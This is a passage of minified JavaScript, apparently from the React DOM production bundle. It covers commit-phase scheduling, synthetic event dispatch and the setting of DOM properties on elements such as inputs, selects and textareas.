r=t;r===oa&&(R?(fa(r),r.tag===5&&r.stateNode!=null&&(L=r.stateNode)):(fa(r),R=!0));default:Sl(n,t),t=q=Ri(t,ad),t=ml(n,t,ad)}e.memoizedProps=e.pendingProps,t===null?ef(e):q=t}function $d(e,t,n,r){ya=va=null,os(t),so=null,co=0;var i=t.return;try{if(Nc(e,i,t,n,J)){od=1,Oc(e,Gi(n,e.current)),q=null;return}}catch(t){if(i!==null)throw q=i,t;od=1,Oc(e,Gi(n,e.current)),q=null;return}t.flags&32768?(R||r===1?e=!0:rd||J&536870912?e=!1:(nd=e=!0,(r===2||r===9||r===3||r===6)&&(r=No.current,r!==null&&r.tag===13&&(r.flags|=16384))),tf(t,e)):ef(t)}function ef(e){var t=e;do{if(t.flags&32768){tf(t,nd);return}e=t.return;var n=bl(t.alternate,t,ad);if(n!==null){q=n;return}if(t=t.sibling,t!==null){q=t;return}q=t=e}while(t!==null);od===0&&(od=5)}function tf(e,t){do{var n=xl(e.alternate,e);if(n!==null){n.flags&=32767,q=n;return}if(n=e.return,n!==null&&(n.flags|=32768,n.subtreeFlags=0,n.deletions=null),!t&&(e=e.sibling,e!==null)){q=e;return}q=e=n}while(e!==null);od=6,q=null}function nf(e,t,n,r,a,o,s,c,l,u,d,f){e.cancelPendingCommit=null;do df();while(X!==0);if(G&6)throw Error(i(327));if(t!==null){if(t===e.current)throw Error(i(177));e===K&&(q=K=null,J=0),xd=t,bd=e,Sd=n,wd=a,Td=r,rf(e,t,n,s,c,l,f)}}function rf(e,t,n,r,i,a,o){var s=t.lanes|t.childLanes;if(Cd=s,s|=Ei,Ct(e,n,s,r,i,a),Dd=null,(n&335544064)===n?(Od=Ra(e),r=10262):(Od=null,r=10256),(t.subtreeFlags&r)!==0||(t.flags&r)!==0?(e.callbackNode=null,e.callbackPriority=0,yf(et,function(){return ff(),null})):(e.callbackNode=null,e.callbackPriority=0),Vl=!1,r=!!(t.flags&13878),t.subtreeFlags&13878||r){r=E.T,E.T=null,i=D.p,D.p=2,a=G,G|=4;try{hu(e,t,n)}finally{G=a,D.p=i,E.T=r}}X=1,Vl?Ed=Mp(o,e.containerInfo,Od,sf,cf,of,lf,ff,af,null,null):(sf(),cf(),lf())}function af(e){if(X!==0){var t=bd.onRecoverableError;t(e,{componentStack:null})}}function of(){X===3&&(X=0,Fu(xd,bd),X=4)}function sf(){if(X===1){X=0;var e=bd,t=xd,n=Sd,r=!!(t.flags&13878);if(t.subtreeFlags&13878||r){r=E.T,E.T=null;var i=D.p;D.p=2;var a=G;G|=4;try{fu=pu=!1,ju(t,e,n),n=cp;var o=Xr(e.containerInfo),s=n.focusedElem,c=n.selectionRange;if(o!==s&&s&&s.ownerDocument&&Yr(s.ownerDocument.documentElement,s)){if(c!==null&&Zr(s)){var l=c.start,u=c.end;if(u===void 0&&(u=l),`selectionStart`in s)s.selectionStart=l,s.selectionEnd=Math.min(u,s.value.length);else{var d=s.ownerDocument||document,f=d&&d.defaultView||window;if(f.getSelection){var p=f.getSelection(),m=s.textContent.length,h=Math.min(c.start,m),g=c.end===void 0?h:Math.min(c.end,m);!p.extend&&h>g&&(o=g,g=h,h=o);var _=Jr(s,h),v=Jr(s,g);if(_&&v&&(p.rangeCount!==1||p.anchorNode!==_.node||p.anchorOffset!==_.offset||p.focusNode!==v.node||p.focusOffset!==v.offset)){var y=d.createRange();y.setStart(_.node,_.offset),p.removeAllRanges(),h>g?(p.addRange(y),p.extend(v.node,v.offset)):(y.setEnd(v.node,v.offset),p.addRange(y))}}}}for(d=[],p=s;p=p.parentNode;)p.nodeType===1&&d.push({element:p,left:p.scrollLeft,top:p.scrollTop});for(typeof s.focus==`function`&&s.focus(),s=0;s<d.length;s++){var b=d[s];b.element.scrollLeft=b.left,b.element.scrollTop=b.top}}gh=!!sp,cp=sp=null}finally{G=a,D.p=i,E.T=r}}e.current=t,X=2}}function cf(){if(X===2){X=0;var e=bd,t=xd,n=!!(t.flags&8772);if(t.subtreeFlags&8772||n){n=E.T,E.T=null;var r=D.p;D.p=2;var i=G;G|=4;try{_u(e,t.alternate,t)}finally{G=i,D.p=r,E.T=n}}X=3}}function lf(){if(X===4||X===3){X=0;var e=Ed;Ed=null,Ye();var t=bd,n=xd,r=Sd,i=Td,a=(r&335544064)===r?10262:10256;if((n.subtreeFlags&a)!==0||(n.flags&a)!==0?X=5:(X=0,xd=bd=null,uf(t,t.pendingLanes)),a=t.pendingLanes,a===0&&(yd=null),Ot(r),n=n.stateNode,ot&&typeof ot.onCommitFiberRoot==`function`)try{ot.onCommitFiberRoot(at,n,void 0,(n.current.flags&128)==128)}catch{}if(i!==null){n=E.T,a=D.p,D.p=2,E.T=null;try{for(var o=t.onRecoverableError,s=0;s<i.length;s++){var c=i[s];o(c.value,{componentStack:c.stack})}}finally{E.T=n,D.p=a}}if(i=Dd,o=Od,Od=null,i!==null&&(Dd=null,o===null&&(o=[]),e!==null))for(c=0;c<i.length;c++)n=(0,i[c])(o),n!==void 0&&e.finished.finally(n);Sd&3&&df(),Ef(t),a=t.pendingLanes,r&261930&&a&42?t===Ad?kd++:(kd=0,Ad=t):(kd=0,Ad=null),Df(0,!1)}}function uf(e,t){(e.pooledCacheLanes&=t)===0&&(t=e.pooledCache,t!=null&&(e.pooledCache=null,Fa(t)))}function df(){return Ed!==null&&(Ed.skipTransition(),Ed=null),sf(),cf(),lf(),ff()}function ff(){if(X!==5)return!1;var e=bd,t=Cd;Cd=0;var n=Ot(Sd),r=E.T,a=D.p;try{D.p=32>n?32:n,E.T=null,n=wd,wd=null;var o=bd,s=Sd;if(X=0,xd=bd=null,Sd=0,G&6)throw Error(i(331));var c=G;if(G|=4,Xu(o.current),Hu(o,o.current,s,n),G=c,Df(0,!1),ot&&typeof ot.onPostCommitFiberRoot==`function`)try{ot.onPostCommitFiberRoot(at,o)}catch{}return!0}finally{D.p=a,E.T=r,uf(e,t)}}function pf(e,t,n){t=Gi(n,t),t=Ac(e.stateNode,t,2),e=bo(e,t,2),e!==null&&(St(e,2),Ef(e))}function Z(e,t,n){if(e.tag===3)pf(e,e,n);else for(;t!==null;){if(t.tag===3){pf(t,e,n);break}if(t.tag===1){var r=t.stateNode;if(typeof t.type.getDerivedStateFromError==`function`||typeof r.componentDidCatch==`function`&&(yd===null||!yd.has(r))){e=Gi(n,e),n=jc(2),r=bo(t,n,2),r!==null&&(Mc(n,r,t,e),St(r,2),Ef(r));break}}t=t.return}}function mf(e,t,n){var r=e.pingCache;if(r===null){r=e.pingCache=new ed;var i=new Set;r.set(t,i)}else i=r.get(t),i===void 0&&(i=new Set,r.set(t,i));i.has(n)||(id=!0,i.add(n),e=hf.bind(null,e,t,n),t.then(e,e))}function hf(e,t,n){var r=e.pingCache;r!==null&&r.delete(t),e.pingedLanes|=e.suspendedLanes&n,e.warmLanes&=~n,K===e&&(J&n)===n&&(od===4||od===3&&(J&62914560)===J&&300>Xe()-hd?G&2?ld|=n:Vd(e,0):ld|=n,dd===J&&(dd=0)),Ef(e)}function gf(e,t){t===0&&(t=bt()),e=Ai(e,t),e!==null&&(St(e,t),Ef(e))}function _f(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),gf(e,n)}function vf(e,t){var n=0;switch(e.tag){case 31:case 13:var r=e.stateNode,a=e.memoizedState;a!==null&&(n=a.retryLane);break;case 19:r=e.stateNode;break;case 22:r=e.stateNode._retryCache;break;default:throw Error(i(314))}r!==null&&r.delete(t),gf(e,n)}function yf(e,t){return Ke(e,t)}var bf=null,xf=null,Sf=!1,Cf=!1,wf=!1,Tf=0;function Ef(e){e!==xf&&e.next===null&&(xf===null?bf=xf=e:xf=xf.next=e),Cf=!0,Sf||(Sf=!0,Nf())}function Df(e,t){if(!wf&&Cf){wf=!0;do for(var n=!1,r=bf;r!==null;){if(!t){if(e!==0){var i=r.pendingLanes;if(i===0)var a=0;else{var o=r.suspendedLanes,s=r.pingedLanes;a=(1<<31-ct(42|e)+1)-1,a&=i&~(o&~s),a=a&201326741?a&201326741|1:a?a|2:0}a!==0&&(n=!0,Mf(r,a))}else a=J,a=gt(r,r===K?a:0,r.cancelPendingCommit!==null||r.timeoutHandle!==-1),!(a&3)||_t(r,a)||(n=!0,Mf(r,a))}r=r.next}while(n);wf=!1}}function Of(){kf()}function kf(){Cf=Sf=!1;var e=0;Tf!==0&&hp()&&(e=Tf);for(var t=Xe(),n=null,r=bf;r!==null;){var i=r.next,a=Af(r,t);a===0?(r.next=null,n===null?bf=i:n.next=i,i===null&&(xf=n)):(n=r,(e!==0||a&3)&&(Cf=!0)),r=i}X!==0&&X!==5||Df(e,!1),Tf!==0&&(Tf=0)}function Af(e,t){for(var n=e.suspendedLanes,r=e.pingedLanes,i=e.expirationTimes,a=e.pendingLanes&-62914561;0<a;){var o=31-ct(a),s=1<<o,c=i[o];c===-1?((s&n)===0||(s&r)!==0)&&(i[o]=yt(s,t)):c<=t&&(e.expiredLanes|=s),a&=~s}if(t=K,n=J,n=gt(e,e===t?n:0,e.cancelPendingCommit!==null||e.timeoutHandle!==-1),r=e.callbackNode,n===0||e===t&&(Y===2||Y===9)||e.cancelPendingCommit!==null)return r!==null&&r!==null&&qe(r),e.callbackNode=null,e.callbackPriority=0;if(!(n&3)||_t(e,n)){if(t=n&-n,t===e.callbackPriority)return t;switch(r!==null&&qe(r),Ot(n)){case 2:case 8:n=$e;break;case 32:n=et;break;case 268435456:n=nt;break;default:n=et}return r=jf.bind(null,e),n=Ke(n,r),e.callbackPriority=t,e.callbackNode=n,t}return r!==null&&r!==null&&qe(r),e.callbackPriority=2,e.callbackNode=null,2}function jf(e,t){if(X!==0&&X!==5)return e.callbackNode=null,e.callbackPriority=0,null;var n=e.callbackNode;if(df()&&e.callbackNode!==n)return null;var r=J;return r=gt(e,e===K?r:0,e.cancelPendingCommit!==null||e.timeoutHandle!==-1),r===0?null:(Fd(e,r,t),Af(e,Xe()),e.callbackNode!=null&&e.callbackNode===n?jf.bind(null,e):null)}function Mf(e,t){if(df())return null;Fd(e,t,!0)}function Nf(){bp(function(){G&6?Ke(Qe,Of):kf()})}function Pf(){if(Tf===0){var e=Va;e===0&&(e=ft,ft<<=1,!(ft&261888)&&(ft=256)),Tf=e}return Tf}function Ff(e){return e==null||typeof e==`symbol`||typeof e==`boolean`?null:typeof e==`function`?e:bn(e)}function If(e,t,n,r,i){if(t===`submit`&&n&&n.stateNode===i){var a=Ff((i[Mt]||null).action),o=r.submitter;o&&(t=(t=o[Mt]||null)?Ff(t.formAction):o.getAttribute(`formAction`),t!==null&&(a=t,o=null));var s=new Hn(`action`,`action`,null,r,i);e.push({event:s,listeners:[{instance:null,listener:function(){if(r.defaultPrevented){if(Tf!==0){var e=new FormData(i,o);nc(n,{pending:!0,data:e,method:i.method,action:a},null,e)}}else typeof a==`function`&&(s.preventDefault(),e=new FormData(i,o),nc(n,{pending:!0,data:e,method:i.method,action:a},a,e))},currentTarget:i}]})}}for(var Lf=0;Lf<_i.length;Lf++){var Rf=_i[Lf];vi(Rf.toLowerCase(),`on`+(Rf[0].toUpperCase()+Rf.slice(1)))}vi(li,`onAnimationEnd`),vi(ui,`onAnimationIteration`),vi(di,`onAnimationStart`),vi(`dblclick`,`onDoubleClick`),vi(`focusin`,`onFocus`),vi(`focusout`,`onBlur`),vi(fi,`onTransitionRun`),vi(pi,`onTransitionStart`),vi(mi,`onTransitionCancel`),vi(hi,`onTransitionEnd`),Wt(`onMouseEnter`,[`mouseout`,`mouseover`]),Wt(`onMouseLeave`,[`mouseout`,`mouseover`]),Wt(`onPointerEnter`,[`pointerout`,`pointerover`]),Wt(`onPointerLeave`,[`pointerout`,`pointerover`]),Ut(`onChange`,`change click focusin focusout input keydown keyup selectionchange`.split(` `)),Ut(`onSelect`,`focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange`.split(` `)),Ut(`onBeforeInput`,[`compositionend`,`keypress`,`textInput`,`paste`]),Ut(`onCompositionEnd`,`compositionend focusout keydown keypress keyup mousedown`.split(` `)),Ut(`onCompositionStart`,`compositionstart focusout keydown keypress keyup mousedown`.split(` `)),Ut(`onCompositionUpdate`,`compositionupdate focusout keydown keypress keyup mousedown`.split(` `));var zf=`abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting`.split(` `),Bf=new Set(`beforetoggle cancel close invalid load scroll scrollend toggle`.split(` `).concat(zf));function Vf(e,t){t=!!(t&4);for(var n=0;n<e.length;n++){var r=e[n],i=r.event;r=r.listeners;a:{var a=void 0;if(t)for(var o=r.length-1;0<=o;o--){var s=r[o],c=s.instance,l=s.currentTarget;if(s=s.listener,c!==a&&i.isPropagationStopped())break a;a=s,i.currentTarget=l;try{a(i)}catch(e){Ci(e)}i.currentTarget=null,a=c}else for(o=0;o<r.length;o++){if(s=r[o],c=s.instance,l=s.currentTarget,s=s.listener,c!==a&&i.isPropagationStopped())break a;a=s,i.currentTarget=l;try{a(i)}catch(e){Ci(e)}i.currentTarget=null,a=c}}}}function Q(e,t){var n=t[Pt];n===void 0&&(n=t[Pt]=new Set);var r=e+`__bubble`;n.has(r)||(Gf(t,e,2,!1),n.add(r))}function Hf(e,t,n){var r=0;t&&(r|=4),Gf(n,e,r,t)}var Uf=`_reactListening`+Math.random().toString(36).slice(2);function Wf(e){if(!e[Uf]){e[Uf]=!0,Vt.forEach(function(t){t!==`selectionchange`&&(Bf.has(t)||Hf(t,!1,e),Hf(t,!0,e))});var t=e.nodeType===9?e:e.ownerDocument;t===null||t[Uf]||(t[Uf]=!0,Hf(`selectionchange`,!1,t))}}function Gf(e,t,n,r){switch(Ch(t)){case 2:var i=_h;break;case 8:i=vh;break;default:i=yh}n=i.bind(null,t,n,e),i=void 0,!jn||t!==`touchstart`&&t!==`touchmove`&&t!==`wheel`||(i=!0),r?i===void 0?e.addEventListener(t,n,!0):e.addEventListener(t,n,{capture:!0,passive:i}):i===void 0?e.addEventListener(t,n,!1):e.addEventListener(t,n,{passive:i})}function Kf(e,t,n,r,i){var a=r;if(!(t&1)&&!(t&2)&&r!==null)a:for(;;){if(r===null)return;var s=r.tag;if(s===3||s===4){var c=r.stateNode.containerInfo;if(c===i)break;if(s===4)for(s=r.return;s!==null;){var l=s.tag;if((l===3||l===4)&&s.stateNode.containerInfo===i)return;s=s.return}for(;c!==null;){if(s=j(c),s===null)return;if(l=s.tag,l===5||l===6||l===26||l===27){r=a=s;continue a}c=c.parentNode}}r=r.return}On(function(){var r=a,i=Cn(n),s=[];a:{var c=gi.get(e);if(c!==void 0){var l=Hn,u=e;switch(e){case`keypress`:if(Ln(n)===0)break a;case`keydown`:case`keyup`:l=or;break;case`focusin`:u=`focus`,l=Zn;break;case`focusout`:u=`blur`,l=Zn;break;case`beforeblur`:case`afterblur`:l=Zn;break;case`click`:if(n.button===2)break a;case`auxclick`:case`dblclick`:case`mousedown`:case`mousemove`:case`mouseup`:case`mouseout`:case`mouseover`:case`contextmenu`:l=Yn;break;case`drag`:case`dragend`:case`dragenter`:case`dragexit`:case`dragleave`:case`dragover`:case`dragstart`:case`drop`:l=Xn;break;case`touchcancel`:case`touchend`:case`touchmove`:case`touchstart`:l=lr;break;case li:case ui:case di:l=Qn;break;case hi:l=ur;break;case`scroll`:case`scrollend`:l=Wn;break;case`wheel`:l=dr;break;case`copy`:case`cut`:case`paste`:l=$n;break;case`gotpointercapture`:case`lostpointercapture`:case`pointercancel`:case`pointerdown`:case`pointermove`:case`pointerout`:case`pointerover`:case`pointerup`:l=sr;break;case`submit`:l=cr;break;case`toggle`:case`beforetoggle`:l=fr}var d=!!(t&4),f=!d&&(e===`scroll`||e===`scrollend`),p=d?c===null?null:c+`Capture`:c;d=[];for(var m=r,h;m!==null;){var g=m;if(h=g.stateNode,g=g.tag,g!==5&&g!==26&&g!==27||h===null||p===null||(g=kn(m,p),g!=null&&d.push(qf(m,g,h))),f)break;m=m.return}0<d.length&&(c=new l(c,u,null,n,i),s.push({event:c,listeners:d}))}}if(!(t&7)){a:{if(l=e===`mouseover`||e===`pointerover`,c=e===`mouseout`||e===`pointerout`,l&&n!==Sn&&(u=n.relatedTarget||n.fromElement)&&(j(u)||u[Nt]))break a;(c||l)&&(u=i.window===i?i:(l=i.ownerDocument)?l.defaultView||l.parentWindow:window,c?(l=n.relatedTarget||n.toElement,c=r,l=l?j(l):null,l!==null&&(f=o(l),d=l.tag,l!==f||d!==5&&d!==27&&d!==6)&&(l=null)):(c=null,l=r),c!==l&&(d=Yn,g=`onMouseLeave`,p=`onMouseEnter`,m=`mouse`,(e===`pointerout`||e===`pointerover`)&&(d=sr,g=`onPointerLeave`,p=`onPointerEnter`,m=`pointer`),f=c==null?u:N(c),h=l==null?u:N(l),u=new d(g,m+`leave`,c,n,i),u.target=f,u.relatedTarget=h,g=null,j(i)===r&&(d=new d(p,m+`enter`,l,n,i),d.target=h,d.relatedTarget=f,g=d),f=g,d=c&&l?ne(c,l,Yf):null,c!==null&&Xf(s,u,c,d,!1),l!==null&&f!==null&&Xf(s,f,l,d,!0)))}a:{if(c=r?N(r):window,l=c.nodeName&&c.nodeName.toLowerCase(),l===`select`||l===`input`&&c.type===`file`)var _=Mr;else if(Er(c)){if(Nr)_=Hr;else{_=Br;var v=zr}}else l=c.nodeName,!l||l.toLowerCase()!==`input`||c.type!==`checkbox`&&c.type!==`radio`?r&&_n(r.elementType)&&(_=Mr):_=Vr;if(_&&=_(e,r)){Dr(s,_,n,i);break a}v&&v(e,c,r)}switch(v=r?N(r):window,e){case`focusin`:(Er(v)||v.contentEditable===`true`)&&($r=v,ei=r,ti=null);break;case`focusout`:ti=ei=$r=null;break;case`mousedown`:ni=!0;break;case`contextmenu`:case`mouseup`:case`dragend`:ni=!1,ri(s,n,i);break;case`selectionchange`:if(Qr)break;case`keydown`:case`keyup`:ri(s,n,i)}var y;if(mr)b:{switch(e){case`compositionstart`:var b=`onCompositionStart`;break b;case`compositionend`:b=`onCompositionEnd`;break b;case`compositionupdate`:b=`onCompositionUpdate`;break b}b=void 0}else Sr?br(e,n)&&(b=`onCompositionEnd`):e===`keydown`&&n.keyCode===229&&(b=`onCompositionStart`);b&&(_r&&n.locale!==`ko`&&(Sr||b!==`onCompositionStart`?b===`onCompositionEnd`&&Sr&&(y=In()):(Nn=i,Pn=`value`in Nn?Nn.value:Nn.textContent,Sr=!0)),v=Jf(r,b),0<v.length&&(b=new er(b,e,null,n,i),s.push({event:b,listeners:v}),y?b.data=y:(y=xr(n),y!==null&&(b.data=y)))),(y=gr?Cr(e,n):wr(e,n))&&(b=Jf(r,`onBeforeInput`),0<b.length&&(v=new er(`onBeforeInput`,`beforeinput`,null,n,i),s.push({event:v,listeners:b}),v.data=y)),If(s,e,r,n,i)}Vf(s,t)})}function qf(e,t,n){return{instance:e,listener:t,currentTarget:n}}function Jf(e,t){for(var n=t+`Capture`,r=[];e!==null;){var i=e,a=i.stateNode;if(i=i.tag,i!==5&&i!==26&&i!==27||a===null||(i=kn(e,n),i!=null&&r.unshift(qf(e,i,a)),i=kn(e,t),i!=null&&r.push(qf(e,i,a))),e.tag===3)return r;e=e.return}return[]}function Yf(e){if(e===null)return null;do e=e.return;while(e&&e.tag!==5&&e.tag!==27);return e||null}function Xf(e,t,n,r,i){for(var a=t._reactName,o=[];n!==null&&n!==r;){var s=n,c=s.alternate,l=s.stateNode;if(s=s.tag,c!==null&&c===r)break;s!==5&&s!==26&&s!==27||l===null||(c=l,i?(l=kn(n,a),l!=null&&o.unshift(qf(n,l,c))):i||(l=kn(n,a),l!=null&&o.push(qf(n,l,c)))),n=n.return}o.length!==0&&e.push({event:t,listeners:o})}var Zf=/\r\n?/g,Qf=/\u0000|\uFFFD/g;function $f(e){return(typeof e==`string`?e:``+e).replace(Zf,`
`).replace(Qf,``)}function ep(e,t){return t=$f(t),$f(e)===t}function $(e,t,n,r,a,o){switch(n){case`children`:if(typeof r==`string`)t===`body`||t===`textarea`&&r===``||pn(e,r);else if(typeof r==`number`||typeof r==`bigint`)t!==`body`&&pn(e,``+r);else return;break;case`className`:Zt(e,`class`,r);break;case`tabIndex`:Zt(e,`tabindex`,r);break;case`dir`:case`role`:case`viewBox`:case`width`:case`height`:Zt(e,n,r);break;case`style`:gn(e,r,o);return;case`data`:if(t!==`object`){Zt(e,`data`,r);break}case`src`:case`href`:if(r===``&&(t!==`a`||n!==`href`)){e.removeAttribute(n);break}if(r==null||typeof r==`function`||typeof r==`symbol`||typeof r==`boolean`){e.removeAttribute(n);break}r=bn(r),e.setAttribute(n,r);break;case`action`:case`formAction`:if(typeof r==`function`){e.setAttribute(n,`javascript:throw new Error('A React form was unexpectedly submitted. If you called form.submit() manually, consider using form.requestSubmit() instead. If you\\'re trying to use event.stopPropagation() in a submit event handler, consider also calling event.preventDefault().')`);break}if(typeof o==`function`&&(n===`formAction`?(t!==`input`&&$(e,t,`name`,a.name,a,null),$(e,t,`formEncType`,a.formEncType,a,null),$(e,t,`formMethod`,a.formMethod,a,null),$(e,t,`formTarget`,a.formTarget,a,null)):($(e,t,`encType`,a.encType,a,null),$(e,t,`method`,a.method,a,null),$(e,t,`target`,a.target,a,null))),r==null||typeof r==`symbol`||typeof r==`boolean`){e.removeAttribute(n);break}r=bn(r),e.setAttribute(n,r);break;case`onClick`:r!=null&&(e.onclick=xn);return;case`onScroll`:r!=null&&Q(`scroll`,e);return;case`onScrollEnd`:r!=null&&Q(`scrollend`,e);return;case`dangerouslySetInnerHTML`:if(r!=null){if(typeof r!=`object`||!(`__html`in r))throw Error(i(61));if(n=r.__html,n!=null){if(a.children!=null)throw Error(i(60));o?.__html!==n&&(e.innerHTML=n)}}break;case`multiple`:e.multiple=r&&typeof r!=`function`&&typeof r!=`symbol`;break;case`muted`:e.muted=r&&typeof r!=`function`&&typeof r!=`symbol`;break;case`suppressContentEditableWarning`:case`suppressHydrationWarning`:case`defaultValue`:case`defaultChecked`:case`innerHTML`:case`ref`:break;case`autoFocus`:break;case`xlinkHref`:if(r==null||typeof r==`function`||typeof r==`boolean`||typeof r==`symbol`){e.removeAttribute(`xlink:href`);break}n=bn(r),e.setAttributeNS(`http://www.w3.org/1999/xlink`,`xlink:href`,n);break;case`contentEditable`:case`spellCheck`:case`draggable`:case`value`:case`autoReverse`:case`externalResourcesRequired`:case`focusable`:case`preserveAlpha`:r!=null&&typeof r!=`function`&&typeof r!=`symbol`?e.setAttribute(n,r):e.removeAttribute(n);break;case`inert`:case`allowFullScreen`:case`async`:case`autoPlay`:case`controls`:case`credentialless`:case`default`:case`defer`:case`disabled`:case`disablePictureInPicture`:case`disableRemotePlayback`:case`formNoValidate`:case`hidden`:case`loop`:case`noModule`:case`noValidate`:case`open`:case`playsInline`:case`readOnly`:case`required`:case`reversed`:case`scoped`:case`seamless`:case`itemScope`:r&&typeof r!=`function`&&typeof r!=`symbol`?e.setAttribute(n,``):e.removeAttribute(n);break;case`capture`:case`download`:!0===r?e.setAttribute(n,``):!1!==r&&r!=null&&typeof r!=`function`&&typeof r!=`symbol`?e.setAttribute(n,r):e.removeAttribute(n);break;case`cols`:case`rows`:case`size`:case`span`:r!=null&&typeof r!=`function`&&typeof r!=`symbol`&&!isNaN(r)&&1<=r?e.setAttribute(n,r):e.removeAttribute(n);break;case`rowSpan`:case`start`:r==null||typeof r==`function`||typeof r==`symbol`||isNaN(r)?e.removeAttribute(n):e.setAttribute(n,r);break;case`popover`:Q(`beforetoggle`,e),Q(`toggle`,e),Xt(e,`popover`,r);break;case`xlinkActuate`:Qt(e,`http://www.w3.org/1999/xlink`,`xlink:actuate`,r);break;case`xlinkArcrole`:Qt(e,`http://www.w3.org/1999/xlink`,`xlink:arcrole`,r);break;case`xlinkRole`:Qt(e,`http://www.w3.org/1999/xlink`,`xlink:role`,r);break;case`xlinkShow`:Qt(e,`http://www.w3.org/1999/xlink`,`xlink:show`,r);break;case`xlinkTitle`:Qt(e,`http://www.w3.org/1999/xlink`,`xlink:title`,r);break;case`xlinkType`:Qt(e,`http://www.w3.org/1999/xlink`,`xlink:type`,r);break;case`xmlBase`:Qt(e,`http://www.w3.org/XML/1998/namespace`,`xml:base`,r);break;case`xmlLang`:Qt(e,`http://www.w3.org/XML/1998/namespace`,`xml:lang`,r);break;case`xmlSpace`:Qt(e,`http://www.w3.org/XML/1998/namespace`,`xml:space`,r);break;case`is`:Xt(e,`is`,r);break;case`innerText`:case`textContent`:return;default:if(!(2<n.length)||n[0]!==`o`&&n[0]!==`O`||n[1]!==`n`&&n[1]!==`N`)n=vn.get(n)||n,Xt(e,n,r);else return}I=!0}function tp(e,t,n,r,a,o){switch(n){case`style`:gn(e,r,o);return;case`dangerouslySetInnerHTML`:if(r!=null){if(typeof r!=`object`||!(`__html`in r))throw Error(i(61));if(n=r.__html,n!=null){if(a.children!=null)throw Error(i(60));o?.__html!==n&&(e.innerHTML=n)}}break;case`children`:if(typeof r==`string`)pn(e,r);else if(typeof r==`number`||typeof r==`bigint`)pn(e,``+r);else return;break;case`onScroll`:r!=null&&Q(`scroll`,e);return;case`onScrollEnd`:r!=null&&Q(`scrollend`,e);return;case`onClick`:r!=null&&(e.onclick=xn);return;case`suppressContentEditableWarning`:case`suppressHydrationWarning`:case`innerHTML`:case`ref`:return;case`innerText`:case`textContent`:return;default:if(!Ht.hasOwnProperty(n))a:{if(n[0]===`o`&&n[1]===`n`&&(a=n.endsWith(`Capture`),o=n.slice(2,a?n.length-7:void 0),t=e[Mt]||null,t=t==null?null:t[n],typeof t==`function`&&e.removeEventListener(o,t,a),typeof r==`function`)){typeof t!=`function`&&t!==null&&(n in e?e[n]=null:e.hasAttribute(n)&&e.removeAttribute(n)),e.addEventListener(o,r,a);break a}I=!0,n in e?e[n]=r:!0===r?e.setAttribute(n,``):Xt(e,n,r)}return}I=!0}function np(e,t,n){switch(t){case`div`:case`span`:case`svg`:case`path`:case`a`:case`g`:case`p`:case`li`:break;case`img`:Q(`error`,e),Q(`load`,e);var r=!1,a=!1,o;for(o in n)if(n.hasOwnProperty(o)){var s=n[o];if(s!=null)switch(o){case`src`:r=!0;break;case`srcSet`:a=!0;break;case`children`:case`dangerouslySetInnerHTML`:throw Error(i(137,t));default:$(e,t,o,s,n,null)}}a&&$(e,t,`srcSet`,n.srcSet,n,null),r&&$(e,t,`src`,n.src,n,null);return;case`input`:Q(`invalid`,e);var c=o=s=a=null,l=null,u=null;for(r in n)if(n.hasOwnProperty(r)){var d=n[r];if(d!=null)switch(r){case`name`:a=d;break;case`type`:s=d;break;case`checked`:l=d;break;case`defaultChecked`:u=d;break;case`value`:o=d;break;case`defaultValue`:c=d;break;case`children`:case`dangerouslySetInnerHTML`:if(d!=null)throw Error(i(137,t));break;default:$(e,t,r,d,n,null)}}cn(e,o,c,l,u,s,a,!1);return;case`select`:for(a in Q(`invalid`,e),r=s=o=null,n)if(n.hasOwnProperty(a)&&(c=n[a],c!=null))switch(a){case`value`:o=c;break;case`defaultValue`:s=c;break;case`multiple`:r=c;default:$(e,t,a,c,n,null)}t=o,n=s,e.multiple=!!r,t==null?n!=null&&un(e,!!r,n,!0):un(e,!!r,t,!1);return;case`textarea`:for(s in Q(`invalid`,e),o=a=r=null,n)if(n.hasOwnProperty(s)&&(c=n[s],c!=null))switch(s){case`value`:r=c;break;case`defaultValue`:a=c;break;case`children`:o=c;break;case`dangerouslySetInnerHTML`:if(c!=null)throw Error(i(91));break;default:$(e,t,s,c,n,null)}fn(e,r,a,o);return;case`option`:for(l in n)if(n.hasOwnProperty(l)&&(r=n[l],r!=null))switch(l){case`selected`:e.selected=r&&typeof r!=`function`&&typeof r!=`symbol`;break;default:$(e,t,l,r,n,null)}return;case`dialog`:Q(`beforetoggle`,e),Q(`toggle`,e),Q(`cancel`,e),Q(`close`,e);break;case`iframe`:case`object`:Q(`load`,e);break;case`video`:case`audio`:for(r=0;r<zf.length;r++)Q(zf[r],e);break;case`image`:Q(`error`,e),Q(`load`,e);break;case`details`:Q(`toggle`,e);break;case`embed`:case`source`:case`link`:Q(`error`,e),Q(`load`,e);case`area`:case`base`:case`br`:case`col`:case`hr`:case`keygen`:case`meta`:case`param`:case`track`:case`wbr`:case`menuitem`:for(u in n)if(n.hasOwnProperty(u)&&(r=n[u],r!=null))switch(u){case`children`:case`dangerouslySetInnerHTML`:throw Error(i(137,t));default:$(e,t,u,r,n,null)}return;default:if(_n(t)){for(d in n)n.hasOwnProperty(d)&&(r=n[d],r!==void 0&&tp(e,t,d,r,n,void 0));return}}for(c in n)n.hasOwnProperty(c)&&(r=n[c],r!=null&&$(e,t,c,r,n,null))}var rp={};function ip(e,t,n,r){switch(t){case`div`:case`span`:case`svg`:case`path`:case`a`:case`g`:case`p`:case`li`:break;case`input`:var a=null,o=null,s=null,c=null,l=null,u=null,d=null;for(m in n){var f=n[m];if(n.hasOwnProperty(m)&&f!=null)switch(m){case`checked`:break;case`value`:break;case`defaultValue`:l=f;default:r.hasOwnProperty(m)||$(e,t,m,null,r,f)}}for(var p in r){var m=r[p];if(f=n[p],r.hasOwnProperty(p)&&(m!=null||f!=null))switch(p){case`type`:m!==f&&(I=!0),o=m;break;case`name`:m!==f&&(I=!0),a=m;break;case`checked`:m!==f&&(I=!0),u=m;break;case`defaultChecked`:m!==f&&(I=!0),d=m;break;case`value`:m!==f&&(I=!0),s=m;break;case`defaultValue`:m!==f&&(I=!0),c=m;break;case`children`:case`dangerouslySetInnerHTML`:if(m!=null)throw Error(i(137,t));break;default:m!==f&&$(e,t,p,m,r,f)}}sn(e,s,c,l,u,d,o,a);return;case`select`:for(o in 